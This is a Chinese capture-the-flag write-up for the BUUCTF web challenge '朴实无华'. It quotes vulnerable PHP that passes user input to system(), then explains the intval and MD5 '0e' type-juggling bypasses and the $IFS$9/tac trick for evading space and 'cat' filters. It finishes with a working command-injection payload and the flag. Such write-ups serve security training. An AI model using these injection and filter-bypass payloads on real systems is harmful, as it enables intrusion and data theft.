BUUCTF————朴实无华
BUUCTF————朴实无华
进入靶场
简单的看了一下框架和源代码
没有什么能利用的信息
拼接robots.txt发现有泄露路径
/fAke_f1agggg.php
拼接访问发现一个假的flag
直接看看数据包
发现一个look_at_me: /fl4g.php
的参数
拼接访问一下
/fl4g.php
还有一段php代码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";}else{die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");}
}else{die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";elsedie("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{die("鍘婚潪娲插惂");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";system($get_flag);}else{die("蹇埌闈炴床浜�");}
}else{die("鍘婚潪娲插惂");
}
?>
level1
intval($num)
的值小于2020intval($num + 1)
的值大于2021
绕过方法:可以利用PHP的类型转换特性。传递一个科学计数法形式的字符串,如2e10
:
-
intval("2e10")
会将其转换为2(因为e被当作非数字字符) -
"2e10" + 1
会被PHP自动转换为浮点数20000000000 + 1 = 20000000001 -
intval(20000000001)
会大于2021?num=2e10
level2
需要传递一个md5
参数,使得该字符串的MD5哈希值等于字符串本身(弱类型比较,使用==
)
绕过方法:寻找一个字符串,其MD5哈希值以0e
开头,后面全是数字(PHP会将这种字符串当作科学计数法的0)。例如:
-
字符串"0e215962017"的MD5是"0e291242476940776845150308577824"
-
使用
==
比较时,“0e…”"0e…"会被当作00md5=0e215962017
level3
- 传递
get_flag
参数 - 参数中不能包含空格
- 会替换"cat"为"wctf2020"(不区分大小写)
目标:执行系统命令获取flag
绕过方法:
-
使用不包含空格的命令执行方式
-
绕过"cat"过滤(可以使用
tac
、more
、less
等替代)get_flag=ls
根据这段代码构造payload
?num=2e10&md5=0e215962017&get_flag=ls
浏览器有点乱码
直接看数据包吧
发现fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag应该就是payload
构造payload
?num=2e10&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
$IFS
是 Linux 的 Internal Field Separator(内部字段分隔符),默认包含空格、制表符(\t
)和换行符(\n
)。$9
是一个 shell 变量,通常为空,但可以用于绕过某些过滤(比如strstr($get_flag, " ")
检查空格)。- 组合
$IFS$9
可以确保即使$IFS
被修改,仍然能作为分隔符使用。
拿到flag
flag{8db609e5-e082-48b0-8c8a-91203de71524}
下播!!!!!!